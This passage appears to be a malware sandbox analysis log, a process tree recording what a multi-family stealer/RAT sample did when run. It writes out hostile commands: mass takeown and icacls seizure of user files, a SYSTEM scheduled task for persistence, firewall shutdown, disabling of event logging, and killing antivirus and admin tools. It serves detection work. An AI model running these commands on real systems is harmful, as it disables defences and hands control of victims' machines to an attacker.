                                                                                                                                                    takeown /f \\?\C:\Users\Admin\Desktop\RenameImport.7z
                                                                                                                                                    3⤵
                                                                                                                                                    • Possible privilege escalation attempt
                                                                                                                                                    • Modifies file permissions
                                                                                                                                                    PID:5644
                                                                                                                                                  • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                    takeown /f \\?\C:\Users\Admin\Desktop\RestoreResume.docx
                                                                                                                                                    3⤵
                                                                                                                                                    • Possible privilege escalation attempt
                                                                                                                                                    • Modifies file permissions
                                                                                                                                                    PID:5448
                                                                                                                                                  • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                    takeown /f \\?\C:\Users\Admin\Desktop\SendRemove.xlsx
                                                                                                                                                    3⤵
                                                                                                                                                    • Possible privilege escalation attempt
                                                                                                                                                    • Modifies file permissions
                                                                                                                                                    PID:6040
                                                                                                                                                  • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                    takeown /f \\?\C:\Users\Admin\Desktop\SendRestart.txt
                                                                                                                                                    3⤵
                                                                                                                                                    • Possible privilege escalation attempt
                                                                                                                                                    • Modifies file permissions
                                                                                                                                                    PID:5812
                                                                                                                                                  • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                    takeown /f \\?\C:\Users\Admin\Desktop\SyncUnlock.css
                                                                                                                                                    3⤵
                                                                                                                                                      PID:5316
                                                                                                                                                    • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                      takeown /f \\?\C:\Users\Admin\Desktop\TestAssert.tmp
                                                                                                                                                      3⤵
                                                                                                                                                      • Modifies file permissions
                                                                                                                                                      PID:5720
                                                                                                                                                    • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                      takeown /f \\?\C:\Users\Admin\Desktop\UpdateLimit.mht
                                                                                                                                                      3⤵
                                                                                                                                                      • Possible privilege escalation attempt
                                                                                                                                                      PID:5616
                                                                                                                                                    • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                      takeown /f \\?\C:\Users\Admin\Desktop\UseCompress.xlt
                                                                                                                                                      3⤵
                                                                                                                                                      • Possible privilege escalation attempt
                                                                                                                                                      PID:5996
                                                                                                                                                    • C:\Windows\SYSTEM32\taskkill.exe
                                                                                                                                                      taskkill /f /im explorer.exe
                                                                                                                                                      3⤵
                                                                                                                                                      • Kills process with taskkill
                                                                                                                                                      PID:4920
                                                                                                                                                    • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                      takeown /f \\?\C:\Users\Admin\Desktop\UseDismount.easmx
                                                                                                                                                      3⤵
                                                                                                                                                      • Possible privilege escalation attempt
                                                                                                                                                      • Modifies file permissions
                                                                                                                                                      PID:4980
                                                                                                                                                    • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                      icacls \\?\C:\Users\Admin\Desktop\SendRestart.txt /grant Admin:F
                                                                                                                                                      3⤵
                                                                                                                                                      • Possible privilege escalation attempt
                                                                                                                                                      PID:6228
                                                                                                                                                    • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                      icacls \\?\C:\Users\Admin\Desktop\SyncUnlock.css /grant Admin:F
                                                                                                                                                      3⤵
                                                                                                                                                      • Modifies file permissions
                                                                                                                                                      PID:6236
                                                                                                                                                    • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                      takeown /f \\?\C:\Users\Admin\Downloads\AddWait.edrwx
                                                                                                                                                      3⤵
                                                                                                                                                      • Possible privilege escalation attempt
                                                                                                                                                      • Modifies file permissions
                                                                                                                                                      PID:6312
                                                                                                                                                    • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                      takeown /f \\?\C:\Users\Admin\Downloads\ApproveFind.txt
                                                                                                                                                      3⤵
                                                                                                                                                        PID:6344
                                                                                                                                                      • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                        icacls \\?\C:\Users\Admin\Desktop\RenameImport.7z /grant Admin:F
                                                                                                                                                        3⤵
                                                                                                                                                        • Possible privilege escalation attempt
                                                                                                                                                        • Modifies file permissions
                                                                                                                                                        PID:6368
                                                                                                                                                      • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                        icacls \\?\C:\Users\Admin\Desktop\SendRemove.xlsx /grant Admin:F
                                                                                                                                                        3⤵
                                                                                                                                                        • Possible privilege escalation attempt
                                                                                                                                                        • Modifies file permissions
                                                                                                                                                        PID:6376
                                                                                                                                                      • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                        icacls \\?\C:\Users\Admin\Desktop\RestoreResume.docx /grant Admin:F
                                                                                                                                                        3⤵
                                                                                                                                                        • Modifies file permissions
                                                                                                                                                        PID:6384
                                                                                                                                                      • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                        takeown /f \\?\C:\Users\Admin\Downloads\CompleteApprove.jpe
                                                                                                                                                        3⤵
                                                                                                                                                        • Possible privilege escalation attempt
                                                                                                                                                        • Modifies file permissions
                                                                                                                                                        PID:6400
                                                                                                                                                      • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                        takeown /f \\?\C:\Users\Admin\Downloads\CompressInvoke.vstm
                                                                                                                                                        3⤵
                                                                                                                                                        • Possible privilege escalation attempt
                                                                                                                                                        PID:6412
                                                                                                                                                      • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                        takeown /f \\?\C:\Users\Admin\Downloads\ConvertToUnregister.odt
                                                                                                                                                        3⤵
                                                                                                                                                        • Possible privilege escalation attempt
                                                                                                                                                        • Modifies file permissions
                                                                                                                                                        PID:6424
                                                                                                                                                      • C:\Windows\SYSTEM32\taskkill.exe
                                                                                                                                                        taskkill /f /im notepad.exe
                                                                                                                                                        3⤵
                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                        PID:6952
                                                                                                                                                      • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                        takeown /f \\?\C:\Users\Admin\Downloads\EnableResume.dib
                                                                                                                                                        3⤵
                                                                                                                                                        • Possible privilege escalation attempt
                                                                                                                                                        • Modifies file permissions
                                                                                                                                                        PID:7036
                                                                                                                                                      • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                        icacls \\?\C:\Users\Admin\Downloads\AddWait.edrwx /grant Admin:F
                                                                                                                                                        3⤵
                                                                                                                                                        • Possible privilege escalation attempt
                                                                                                                                                        • Modifies file permissions
                                                                                                                                                        PID:7084
                                                                                                                                                      • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                        icacls \\?\C:\Users\Admin\Downloads\DismountClose.ini /grant Admin:F
                                                                                                                                                        3⤵
                                                                                                                                                        • Possible privilege escalation attempt
                                                                                                                                                        PID:5324
                                                                                                                                                      • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                        takeown /f \\?\C:\Users\Admin\Downloads\ExitUninstall.reg
                                                                                                                                                        3⤵
                                                                                                                                                        • Possible privilege escalation attempt
                                                                                                                                                        • Modifies file permissions
                                                                                                                                                        PID:2248
                                                                                                                                                      • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                        takeown /f \\?\C:\Users\Admin\Downloads\ExportConvert.ADTS
                                                                                                                                                        3⤵
                                                                                                                                                        • Modifies file permissions
                                                                                                                                                        PID:2884
                                                                                                                                                      • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                        icacls \\?\C:\Users\Admin\Downloads\EnableResume.dib /grant Admin:F
                                                                                                                                                        3⤵
                                                                                                                                                        • Possible privilege escalation attempt
                                                                                                                                                        • Modifies file permissions
                                                                                                                                                        PID:6488
                                                                                                                                                      • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                        takeown /f \\?\C:\Users\Admin\Downloads\ImportTrace.wmf
                                                                                                                                                        3⤵
                                                                                                                                                        • Possible privilege escalation attempt
                                                                                                                                                        • Modifies file permissions
                                                                                                                                                        PID:2900
                                                                                                                                                      • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                        icacls \\?\C:\Users\Admin\Downloads\ImportTrace.wmf /grant Admin:F
                                                                                                                                                        3⤵
                                                                                                                                                        • Possible privilege escalation attempt
                                                                                                                                                        • Modifies file permissions
                                                                                                                                                        PID:6684
                                                                                                                                                      • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                        takeown /f \\?\C:\Users\Admin\Downloads\OpenSave.mpeg
                                                                                                                                                        3⤵
                                                                                                                                                        • Possible privilege escalation attempt
                                                                                                                                                        • Modifies file permissions
                                                                                                                                                        PID:6840
                                                                                                                                                      • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                        takeown /f \\?\C:\Users\Admin\Downloads\RepairPop.wax
                                                                                                                                                        3⤵
                                                                                                                                                        • Possible privilege escalation attempt
                                                                                                                                                        • Modifies file permissions
                                                                                                                                                        PID:5036
                                                                                                                                                      • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                        takeown /f \\?\C:\Users\Admin\Downloads\RequestSwitch.kix
                                                                                                                                                        3⤵
                                                                                                                                                        • Modifies file permissions
                                                                                                                                                        PID:1688
                                                                                                                                                      • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                        takeown /f \\?\C:\Users\Admin\Downloads\ResetPop.mov
                                                                                                                                                        3⤵
                                                                                                                                                        • Possible privilege escalation attempt
                                                                                                                                                        • Modifies file permissions
                                                                                                                                                        PID:3344
                                                                                                                                                      • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                        takeown /f \\?\C:\Users\Admin\Downloads\SaveDisconnect.png
                                                                                                                                                        3⤵
                                                                                                                                                        • Possible privilege escalation attempt
                                                                                                                                                        PID:1528
                                                                                                                                                      • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                        takeown /f \\?\C:\Users\Admin\Downloads\SaveUninstall.dib
                                                                                                                                                        3⤵
                                                                                                                                                        • Modifies file permissions
                                                                                                                                                        PID:6396
                                                                                                                                                      • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                        icacls \\?\C:\Users\Admin\Downloads\RenameGet.tmp /grant Admin:F
                                                                                                                                                        3⤵
                                                                                                                                                        • Possible privilege escalation attempt
                                                                                                                                                        • Modifies file permissions
                                                                                                                                                        PID:5528
                                                                                                                                                      • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                        takeown /f \\?\C:\Users\Admin\Downloads\StepEnter.odp
                                                                                                                                                        3⤵
                                                                                                                                                        • Possible privilege escalation attempt
                                                                                                                                                        • Modifies file permissions
                                                                                                                                                        PID:4712
                                                                                                                                                      • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                        takeown /f \\?\C:\Users\Admin\Downloads\SubmitUnprotect.iso
                                                                                                                                                        3⤵
                                                                                                                                                        • Possible privilege escalation attempt
                                                                                                                                                        • Modifies file permissions
                                                                                                                                                        PID:6880
                                                                                                                                                      • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                        takeown /f \\?\C:\Users\Admin\Downloads\SwitchClose.lnk
                                                                                                                                                        3⤵
                                                                                                                                                        • Possible privilege escalation attempt
                                                                                                                                                        • Modifies file permissions
                                                                                                                                                        PID:6176
                                                                                                                                                      • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                        icacls \\?\C:\Users\Admin\Downloads\SaveUninstall.dib /grant Admin:F
                                                                                                                                                        3⤵
                                                                                                                                                        • Modifies file permissions
                                                                                                                                                        PID:5220
                                                                                                                                                      • C:\Windows\SYSTEM32\ping.exe
                                                                                                                                                        ping -n 1 -w 50 10.127.0.1
                                                                                                                                                        3⤵
                                                                                                                                                        • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                        • Runs ping.exe
                                                                                                                                                        PID:6268
                                                                                                                                                      • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                        icacls \\?\C:\Users\Admin\Downloads\SendRegister.avi /grant Admin:F
                                                                                                                                                        3⤵
                                                                                                                                                        • Possible privilege escalation attempt
                                                                                                                                                        PID:2348
                                                                                                                                                      • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                        icacls \\?\C:\Users\Admin\Downloads\SearchResolve.mov /grant Admin:F
                                                                                                                                                        3⤵
                                                                                                                                                        • Possible privilege escalation attempt
                                                                                                                                                        • Modifies file permissions
                                                                                                                                                        PID:6480
                                                                                                                                                      • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                        takeown /f \\?\C:\Users\Admin\Downloads\UninstallEnter.jfif
                                                                                                                                                        3⤵
                                                                                                                                                        • Possible privilege escalation attempt
                                                                                                                                                        • Modifies file permissions
                                                                                                                                                        PID:6596
                                                                                                                                                      • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                        takeown /f \\?\C:\Users\Admin\Downloads\UninstallSubmit.txt
                                                                                                                                                        3⤵
                                                                                                                                                        • Modifies file permissions
                                                                                                                                                        PID:5332
                                                                                                                                                      • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                        takeown /f \\?\C:\Users\Admin\Downloads\UnlockWrite.TTS
                                                                                                                                                        3⤵
                                                                                                                                                        • Possible privilege escalation attempt
                                                                                                                                                        • Modifies file permissions
                                                                                                                                                        PID:6888
                                                                                                                                                      • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                        takeown /f \\?\C:\Users\Admin\Downloads\UnpublishRedo.wav
                                                                                                                                                        3⤵
                                                                                                                                                        • Modifies file permissions
                                                                                                                                                        PID:5252
                                                                                                                                                      • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                        icacls \\?\C:\Users\Admin\Downloads\UnlockWrite.TTS /grant Admin:F
                                                                                                                                                        3⤵
                                                                                                                                                        • Possible privilege escalation attempt
                                                                                                                                                        PID:6848
                                                                                                                                                      • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                        icacls \\?\C:\Users\Admin\Downloads\TestUninstall.odt /grant Admin:F
                                                                                                                                                        3⤵
                                                                                                                                                        • Possible privilege escalation attempt
                                                                                                                                                        • Modifies file permissions
                                                                                                                                                        PID:5608
                                                                                                                                                      • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                        icacls \\?\C:\Users\Admin\Downloads\TraceCompress.xhtml /grant Admin:F
                                                                                                                                                        3⤵
                                                                                                                                                        • Possible privilege escalation attempt
                                                                                                                                                        • Modifies file permissions
                                                                                                                                                        PID:7000
                                                                                                                                                      • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                        takeown /f \\?\C:\Users\Admin\Downloads\WriteReset.dib
                                                                                                                                                        3⤵
                                                                                                                                                        • Possible privilege escalation attempt
                                                                                                                                                        • Modifies file permissions
                                                                                                                                                        PID:6252
                                                                                                                                                      • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                        icacls \\?\C:\Users\Admin\Downloads\UnpublishRedo.wav /grant Admin:F
                                                                                                                                                        3⤵
                                                                                                                                                        • Possible privilege escalation attempt
                                                                                                                                                        • Modifies file permissions
                                                                                                                                                        PID:412
                                                                                                                                                      • C:\Windows\SYSTEM32\ping.exe
                                                                                                                                                        ping -n 1 -w 50 10.127.0.2
                                                                                                                                                        3⤵
                                                                                                                                                        • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                        • Runs ping.exe
                                                                                                                                                        PID:656
                                                                                                                                                      • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                        takeown /f \\?\C:\Users\Admin\Documents\DisconnectSet.odp
                                                                                                                                                        3⤵
                                                                                                                                                        • Possible privilege escalation attempt
                                                                                                                                                        • Modifies file permissions
                                                                                                                                                        PID:5720
                                                                                                                                                      • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                        takeown /f \\?\C:\Users\Admin\Documents\DismountWait.vstx
                                                                                                                                                        3⤵
                                                                                                                                                        • Possible privilege escalation attempt
                                                                                                                                                        • Modifies file permissions
                                                                                                                                                        PID:6380
                                                                                                                                                      • C:\Windows\SYSTEM32\ping.exe
                                                                                                                                                        ping -n 1 -w 50 10.127.0.3
                                                                                                                                                        3⤵
                                                                                                                                                        • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                        • Runs ping.exe
                                                                                                                                                        PID:6420
                                                                                                                                                      • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                        icacls \\?\C:\Users\Admin\Documents\DisconnectSet.odp /grant Admin:F
                                                                                                                                                        3⤵
                                                                                                                                                        • Possible privilege escalation attempt
                                                                                                                                                        • Modifies file permissions
                                                                                                                                                        PID:5352
                                                                                                                                                      • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                        icacls \\?\C:\Users\Admin\Documents\DenyEdit.dot /grant Admin:F
                                                                                                                                                        3⤵
                                                                                                                                                          PID:6972
                                                                                                                                                        • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                          takeown /f \\?\C:\Users\Admin\Documents\GetFormat.xlsx
                                                                                                                                                          3⤵
                                                                                                                                                          • Possible privilege escalation attempt
                                                                                                                                                          • Modifies file permissions
                                                                                                                                                          PID:176
                                                                                                                                                        • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                          takeown /f \\?\C:\Users\Admin\Documents\OpenDisable.xlsb
                                                                                                                                                          3⤵
                                                                                                                                                          • Possible privilege escalation attempt
                                                                                                                                                          • Modifies file permissions
                                                                                                                                                          PID:6324
                                                                                                                                                        • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                          icacls \\?\C:\Users\Admin\Documents\DenyRedo.pps /grant Admin:F
                                                                                                                                                          3⤵
                                                                                                                                                          • Possible privilege escalation attempt
                                                                                                                                                          • Modifies file permissions
                                                                                                                                                          PID:7112
                                                                                                                                                        • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                          icacls \\?\C:\Users\Admin\Documents\ImportOut.dotx /grant Admin:F
                                                                                                                                                          3⤵
                                                                                                                                                          • Possible privilege escalation attempt
                                                                                                                                                          • Modifies file permissions
                                                                                                                                                          PID:5736
                                                                                                                                                        • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                          icacls \\?\C:\Users\Admin\Documents\JoinMerge.xlsm /grant Admin:F
                                                                                                                                                          3⤵
                                                                                                                                                          • Possible privilege escalation attempt
                                                                                                                                                          • Modifies file permissions
                                                                                                                                                          PID:6260
                                                                                                                                                        • C:\Windows\SYSTEM32\ping.exe
                                                                                                                                                          ping -n 1 -w 50 10.127.0.4
                                                                                                                                                          3⤵
                                                                                                                                                          • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                          • Runs ping.exe
                                                                                                                                                          PID:7032
                                                                                                                                                        • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                          takeown /f \\?\C:\Users\Admin\Documents\RevokeGet.mhtml
                                                                                                                                                          3⤵
                                                                                                                                                          • Possible privilege escalation attempt
                                                                                                                                                          • Modifies file permissions
                                                                                                                                                          PID:6404
                                                                                                                                                        • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                          takeown /f \\?\C:\Users\Admin\Documents\StartSkip.mhtml
                                                                                                                                                          3⤵
                                                                                                                                                          • Possible privilege escalation attempt
                                                                                                                                                          • Modifies file permissions
                                                                                                                                                          PID:5648
                                                                                                                                                        • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                          icacls \\?\C:\Users\Admin\Documents\WriteImport.dot /grant Admin:F
                                                                                                                                                          3⤵
                                                                                                                                                          • Possible privilege escalation attempt
                                                                                                                                                          PID:5908
                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_n
                                                                                                                                                      1⤵
                                                                                                                                                      • Suspicious use of WriteProcessMemory
                                                                                                                                                      PID:1704
                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_n
                                                                                                                                                        2⤵
                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                        • Drops file in System32 directory
                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                                                                        PID:1548
                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                          C:\Windows\system32\cmd.exe /c "schtasks /create /tn "IronChain_SYSTEM" /tr "C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_n" /sc onstart /ru SYSTEM /rl HIGHEST /f"
                                                                                                                                                          3⤵
                                                                                                                                                          • Executes a command shell one-liner
                                                                                                                                                          • Suspicious use of WriteProcessMemory
                                                                                                                                                          PID:4512
                                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                                            schtasks /create /tn "IronChain_SYSTEM" /tr "C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_n" /sc onstart /ru SYSTEM /rl HIGHEST /f
                                                                                                                                                            4⤵
                                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                                            PID:1748
                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                          C:\Windows\system32\cmd.exe /c "schtasks /run /tn "IronChain_SYSTEM""
                                                                                                                                                          3⤵
                                                                                                                                                          • Executes a command shell one-liner
                                                                                                                                                          • Suspicious use of WriteProcessMemory
                                                                                                                                                          PID:4804
                                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                                            schtasks /run /tn "IronChain_SYSTEM"
                                                                                                                                                            4⤵
                                                                                                                                                              PID:4788
                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                            C:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"
                                                                                                                                                            3⤵
                                                                                                                                                            • Executes a command shell one-liner
                                                                                                                                                            • Suspicious use of WriteProcessMemory
                                                                                                                                                            PID:2760
                                                                                                                                                            • C:\Windows\system32\netsh.exe
                                                                                                                                                              netsh advfirewall set allprofiles state off
                                                                                                                                                              4⤵
                                                                                                                                                              • Modifies Windows Firewall
                                                                                                                                                              • Event Triggered Execution: Netsh Helper DLL
                                                                                                                                                              PID:4016
                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                            C:\Windows\system32\cmd.exe /c "sc stop EventLog"
                                                                                                                                                            3⤵
                                                                                                                                                            • Executes a command shell one-liner
                                                                                                                                                            • Suspicious use of WriteProcessMemory
                                                                                                                                                            PID:440
                                                                                                                                                            • C:\Windows\system32\sc.exe
                                                                                                                                                              sc stop EventLog
                                                                                                                                                              4⤵
                                                                                                                                                                PID:840
                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                              C:\Windows\system32\cmd.exe /c "sc config EventLog start= disabled"
                                                                                                                                                              3⤵
                                                                                                                                                              • Executes a command shell one-liner
                                                                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                                                                              PID:3668
                                                                                                                                                              • C:\Windows\system32\sc.exe
                                                                                                                                                                sc config EventLog start= disabled
                                                                                                                                                                4⤵
                                                                                                                                                                • Launches sc.exe
                                                                                                                                                                PID:1124
                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                              C:\Windows\system32\cmd.exe /c "sc stop Resmon"
                                                                                                                                                              3⤵
                                                                                                                                                              • Executes a command shell one-liner
                                                                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                                                                              PID:1172
                                                                                                                                                              • C:\Windows\system32\sc.exe
                                                                                                                                                                sc stop Resmon
                                                                                                                                                                4⤵
                                                                                                                                                                  PID:1804
                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                C:\Windows\system32\cmd.exe /c "sc config Resmon start= disabled"
                                                                                                                                                                3⤵
                                                                                                                                                                • Executes a command shell one-liner
                                                                                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                                                                                PID:3968
                                                                                                                                                                • C:\Windows\system32\sc.exe
                                                                                                                                                                  sc config Resmon start= disabled
                                                                                                                                                                  4⤵
                                                                                                                                                                  • Launches sc.exe
                                                                                                                                                                  PID:3940
                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                C:\Windows\system32\cmd.exe /c C:\Windows\System32\svchost_killer.bat
                                                                                                                                                                3⤵
                                                                                                                                                                • Executes a command shell one-liner
                                                                                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                                                                                PID:4720
                                                                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                                                                  taskkill /f /im avp.exe
                                                                                                                                                                  4⤵
                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                  PID:5068
                                                                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                                                                  taskkill /f /im ksde.exe
                                                                                                                                                                  4⤵
                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                  PID:4060
                                                                                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                                                                                taskkill /f /im Taskmgr.exe
                                                                                                                                                                3⤵
                                                                                                                                                                • Kills process with taskkill
                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                PID:3780
                                                                                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                                                                                taskkill /f /im regedit.exe
                                                                                                                                                                3⤵
                                                                                                                                                                • Kills process with taskkill
                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                PID:1192
                                                                                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                                                                                taskkill /f /im cmd.exe
                                                                                                                                                                3⤵
                                                                                                                                                                • Kills process with taskkill
                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                PID:4320
                                                                                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                                                                                taskkill /f /im msconfig.exe
                                                                                                                                                                3⤵
                                                                                                                                                                • Kills process with taskkill
                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                PID:1964
                                                                                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                                                                                taskkill /f /im procexp.exe
                                                                                                                                                                3⤵
                                                                                                                                                                • Kills process with taskkill
                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                PID:1992
                                                                                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                                                                                taskkill /f /im procexp64.exe
                                                                                                                                                                3⤵
                                                                                                                                                                • Kills process with taskkill
                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                PID:1728
                                                                                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                                                                                taskkill /f /im services.msc
                                                                                                                                                                3⤵
                                                                                                                                                                • Kills process with taskkill
                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                PID:2992
                                                                                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                                                                                taskkill /f /im mmc.exe
                                                                                                                                                                3⤵
                                                                                                                                                                • Kills process with taskkill
                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                PID:2140
                                                                                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                                                                                taskkill /f /im SystemSettings.exe
                                                                                                                                                                3⤵
                                                                                                                                                                • Kills process with taskkill
                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                PID:3296
                                                                                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                                                                                taskkill /f /im control.exe
                                                                                                                                                                3⤵
                                                                                                                                                                • Kills process with taskkill
                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                PID:1832
                                                                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                  4⤵
                                                                                                                                                                    PID:1124
                                                                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                                                                  taskkill /f /im WindowsSecurity.exe
                                                                                                                                                                  3⤵
                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                  PID:948
                                                                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                                                                  taskkill /f /im MsMpEng.exe
                                                                                                                                                                  3⤵
                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                  PID:5036
                                                                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                                                                  taskkill /f /im powershell.exe
                                                                                                                                                                  3⤵
                                                                                                                                                                  • Kills process with taskkill
